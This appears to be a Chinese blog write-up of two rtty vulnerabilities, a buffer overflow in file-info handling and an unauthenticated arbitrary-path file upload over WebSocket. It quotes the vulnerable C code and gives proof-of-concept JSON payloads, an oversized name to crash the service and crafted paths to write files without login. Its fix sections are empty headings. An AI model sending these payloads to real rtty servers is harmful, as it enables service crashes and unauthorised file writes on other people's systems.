CVE-2025-56708和CVE-2025-56709漏洞分析与利用

本文详细分析了rtty项目中CVE-2025-56709的缓冲区溢出漏洞和CVE-2025-56708的未授权文件上传漏洞,包含漏洞代码分析、POC利用方法和修复方案,涉及网络安全和系统安全技术内容。

CVE-2025-56708&CVE-2025-56709

【CVE-2025-56709】savepath 缓冲区溢出

漏洞概述

在rtty项目中,存在缓冲区溢出漏洞:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
total_size = ctx->remain_size = buffer_pull_u32be(info);

ment = find_mount_point(savepath);
if (ment) {
    uint64_t avail;

    if (!strcmp(ment->mnt_type, "ramfs")) {
        struct sysinfo si;

        if (sysinfo(&si)) {
            log_err("download file fail: '%s'\n", strerror(errno));
            goto check_space_fail;
        }

        avail = si.freeram;
    } else if (!statvfs(ment->mnt_dir, &sfs)) {
        avail = sfs.f_bavail * sfs.f_frsize;
    } else {
        log_err("download file fail: '%s'\n", strerror(errno));
        goto check_space_fail;
    }

    if (ctx->total_size > avail) {
        log_err("download file fail: no enough space\n");
        goto check_space_fail;
    }
} else {
    log_err("download file fail: not found mount point of '%s'\n", savepath);
    goto check_space_fail;
}

buffer_pull(info, name, len - 4);

if (!access(savepath, F_OK)) {
    send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR_EXIST, NULL, 0);
    log_err("the file '%s' already exists\n", name);
    goto open_fail;
}

fd = open(savepath, O_WRONLY | O_TRUNC | O_CREAT, 0644);
if (fd < 0) {
    send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR, NULL, 0);
    log_err("create file '%s' fail: %s\n", name, strerror(errno));
    goto open_fail;
}

log_info("download file: %s, size: %u\n", savepath, ctx->total_size);

if (fchown(fd, ctx->uid, ctx->gid) < 0) {
    // 错误处理
}

if (ctx->total_size == 0)
    close(fd);
else
    ctx->fd = fd;

memcpy(buf, &ctx->total_size, 4);
strcpy(buf + 4, name);

send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_INFO, buf, 4 + strlen(name));

return;

check_space_fail:
    send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_NO_SPACE, NULL, 0);
    buffer_pull(info, name, len - 4);
    
open_fail:
    file_context_reset(ctx);
}

漏洞POC

  • 使用websocket不断发数据就可以将服务给干崩掉(甚至可能RCE)
1
{"type":"fileInfo","name":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","size":50}

漏洞修复

【CVE-2025-56708】未授权文件上传

漏洞概述

rtty <=v9.0.0 版本存在目录穿越漏洞。在交互协议中,fileinfo 方法存在逻辑漏洞,攻击者可通过劫持 WebSocket 并调用 fileinfo 方法,在无需用户登录的情况下将文件上传到系统中的任意路径。

漏洞POC

  • 劫持websocket程序流,通过fileInfo方法,可以在未登录用户的情况下,上传文件到系统任意目录。

  • 指定挂载目录

1
{"type":"fileInfo","name":"home/xk/xxx/xxx/fuck1","size":50}
  • 指定文件
1
{"type":"fileInfo","name":"home/xk/xxx/xxxx/test/rtty/rtty/build/src/hello1","size":50}
  • 在服务端生成文件

漏洞修复

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计